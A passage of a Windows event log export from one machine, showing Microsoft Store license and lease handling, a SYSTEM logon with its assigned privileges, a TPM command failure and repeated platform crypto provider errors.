08:29:05.508\t8001\t\"Licensing content 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: OneStoreApplicationLicenseManager::ActivateLicenseForContent\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (410)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.508\t8001\t\"Licensing 807d73a3-33f2-c21b-c47a-85c313d97af9 (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.515\t2415\tAn application was unregistered with the following parameters: Microsoft.Explorer.Notification.{EC5FD88D-8E3A-9F78-2E20-67FB34BE9AFA} [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:05.520\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:05.520\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:05.537\t9649\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.537\t9648\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.539\t8001\t\"Network connectivity level initialized to 0x1\nFunction: NetworkStatusMonitor::Initialize\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\networkstatusmonitor.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.539\t8002\t\"Capturing identity for LocalSystem, this probably isn't intended\nFunction: StoredIdentity::StoredIdentity\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\identity.cpp (536)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.540\t8001\t\"0000021F8316EE20: Key Machine for content: 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.540\t8011\t0x21f83133e68: 13668: RootMachine: Dispatch: Root:Connect => Root:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.540\t8001\t\"0000021F83133E50: BeginRootLicense\nFunction: RootMachine::DoBeginRootLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\rootmachine.cpp (201)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.540\t8012\t0x21f83133e68: 13668: Root:Initial Change: Root:Negotiating => RootMachine\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.540\t8011\t0x21f8316ee40: 13668: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.540\t8001\t\"0000021F8316EE20: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.540\t8012\t0x21f8316ee40: 13668: Key:Initial Change: Key:NegotiatingUnleased => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.540\t8011\t0x21f83133e68: 13668: RootMachine: Dispatch: Root:@LicenseDone => Root:Negotiating\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.540\t8012\t0x21f83133e68: 13668: Root:Negotiating Change: Root:Valid => RootMachine\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.543\t8001\t\"Considering License ID {2DA6CA43-2E6F-1F16-05AD-A9959043DDB7} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.543\t8001\t\"Accepting key with License ID {2DA6CA43-2E6F-1F16-05AD-A9959043DDB7} for Content ID 807d73a3-33f2-c21b-c47a-85c313d97af9 (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.543\t8001\t\"Considering License ID {8CB56148-398C-A7C4-98F2-6FDC89C2093D} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.543\t8001\t\"Ignoring key for 807d73a3-33f2-c21b-c47a-85c313d97af9 with quality fffffff (0xc0ea0009) (no better than best)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (251)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.543\t8001\t\"Considering License ID {BDBB3CA5-594E-7337-A093-A9860F553465} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.543\t8001\t\"Decoding: {}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.543\t8001\t\"Accepting key with License ID {BDBB3CA5-594E-7337-A093-A9860F553465} for Content ID 807d73a3-33f2-c21b-c47a-85c313d97af9 (better quality: 7f000000 vs 1fffffff)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (229)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.543\t8001\t\"Returning key document for contentid 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.543\t8001\t\"Getting lease for 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.547\t8001\t\"Ignoring otherwise matching lease ({33B013F2-4858-241D-9000-CA9374B3ADB5}) for Content ID 807D73A3-33F2-C21B-C47A-85C313D97AF9 because of quality 268435455 (0xc0ea000a)\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (396)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.547\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.547\t8001\t\"Adding lease {AE9143F3-8179-89B2-A3AF-FFC1D366D1AE} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.547\t8001\t\"Returning 1 lease documents for contentid 807D73A3-33F2-C21B-C47A-85C313D97AF9\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.548\t8001\t\"lease = 0x8316b288, usage = 536870912, policy = 2147483647, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.548\t8001\t\"lease = 0x8316b288, quality = 1073741824\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (935)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.548\t8001\t\"content is alreadyLicensed, lease is cached\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (942)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.548\t8011\t0x21f8316ee40: 13728: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.549\t9649\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.549\t9648\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.549\t9652\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.549\t9652\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.552\t8002\t\"Failure Message: hr: 0x80070490\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\misc.cpp (49)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.552\t8001\t\"lease = 0x8316b288, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.552\t8001\t\"Lease Machine: 0000021F8312BD00: {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.552\t8001\t\"Set results for lease = 0x8316b288, policy = 2147483647, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.552\t8011\t0x21f8312bd20: 13732: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.552\t8012\t0x21f8312bd20: 13732: Lease:Initial Change: Lease:Valid => {2CE050AC-4159-AABB-AC60-9CED070AF672}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.552\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x8316b288\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.552\t8012\t0x21f8316ee40: 13728: Key:NegotiatingUnleased Change: Key:Valid => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.552\t8001\t\"Decoding: {}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.552\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.552\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.553\t8011\t0x21f8316ee40: 13680: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8011\t0x21f8316ee40: 13668: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8012\t0x21f8316ee40: 13668: Key:Valid Change: Key:Invalid => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8001\t\"Updating lease timer for {2CE050AC-4159-AABB-AC60-9CED070AF672} to expire @ 2026-09-11T13:58:38Z (jitter was 35.978432 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8001\t\"Added timer for {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8011\t0x21f8312bd20: 13732: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8011\t0x21f8312bd20: 13732: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8011\t0x21f8312bd20: 13732: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8012\t0x21f8312bd20: 13732: Lease:Valid Change: Lease:Invalid => {2CE050AC-4159-AABB-AC60-9CED070AF672}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8001\t\"Requesting lease document removal for reason 0x00000000, {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.555\t173\tProduct key from MSDM table redeemed. Result: 0x0\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:29:05.556\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.556\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.556\t8002\t\"Trying to remove timer {2CE050AC-4159-AABB-AC60-9CED070AF672} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.556\t8001\t\"Removed timer for {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.560\t9653\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.570\t17\tThe Trusted Platform Module (TPM) hardware failed to execute a TPM command.\tInformation\tSystem\tTPM\n05.09.2026 08:29:05.574\t603\tStarted deployment SetDefaultVolumeOperation operation on a package with main parameter  and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:05.580\t603\tStarted deployment SetMutablePackagesOnlineOperation operation on a package with main parameter  and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:05.582\t9653\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.583\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.596\t811\tThe winlogon notification subscriber  began handling the notification event (14).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:05.597\t812\tThe winlogon notification subscriber  finished handling the notification event (14).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:05.615\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.621\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.630\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tWindowsAIK_ECC_TPM_ECC_NIST_P256\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090011\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.630\t1\t\"Cryptographic Operation 